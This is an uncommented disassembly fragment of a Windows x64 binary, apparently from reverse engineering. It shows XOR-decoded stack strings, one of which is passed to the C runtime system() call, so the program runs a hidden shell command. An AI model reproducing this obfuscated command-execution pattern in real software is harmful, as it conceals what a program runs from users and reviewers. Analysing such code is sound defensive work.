movabs rax, 0xcd0ad16969cdf9ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
movabs rax, 0x67aa813c4e2bb4a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
vmovdqu ymm0, ymmword [rbp + 0x840]
vpxor ymm1, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x840], ymm1
vmovdqu ymm0, ymmword [rbp + 0x860]
vpxor ymm1, ymm0, ymmword [rbp + 0x7c0]
vmovdqa ymmword [rbp + 0x860], ymm1
vmovdqu ymm0, ymmword [rbp + 0x880]
vpxor ymm1, ymm0, ymmword [rbp + 0x7e0]
vmovdqa ymmword [rbp + 0x880], ymm1
vmovdqu ymm0, ymmword [rbp + 0x8a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x800]
vmovdqa ymmword [rbp + 0x8a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x8c0]
vpxor xmm0, xmm0, xmmword [rbp + 0x820]
vmovdqa xmmword [rbp + 0x8c0], xmm0
lea rcx, [rbp + 0x840]
vzeroupper
call fcn.1400011b0
call fcn.140006470
movabs rax, 0xfe26851918d551fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xed2558ac263e1f65
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x34def6ddd0061d65
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.1400011b0
movabs rax, 0x914ac65c368b6bad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x8e0]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x5c8]
cmp rdx, 0x10
jb 0x14000bd6c
inc rdx
mov rcx, qword [rbp + 0x5b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bd67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bd67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
movdqu xmmword [rbp + 0x5c0], xmm0
mov byte [rbp + 0x5b0], 0
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x14000bdc7
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bdc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bdc2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140030764
movdqa xmm0, xmmword [0x140057290]
movdqu xmmword [rbp + 0x5a0], xmm0
mov byte [rbp + 0x590], 0
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x260], rbx
mov rax, qword [rbp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x25c], edx
lea rcx, [rbp + 0x270]
call fcn.14000cb50
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x310]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x608]
cmp rdx, 0x10
jb 0x14000b295
inc rdx
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b290
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b290
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001510
nop
call fcn.1400300c0
nop
call fcn.1400013d0
int3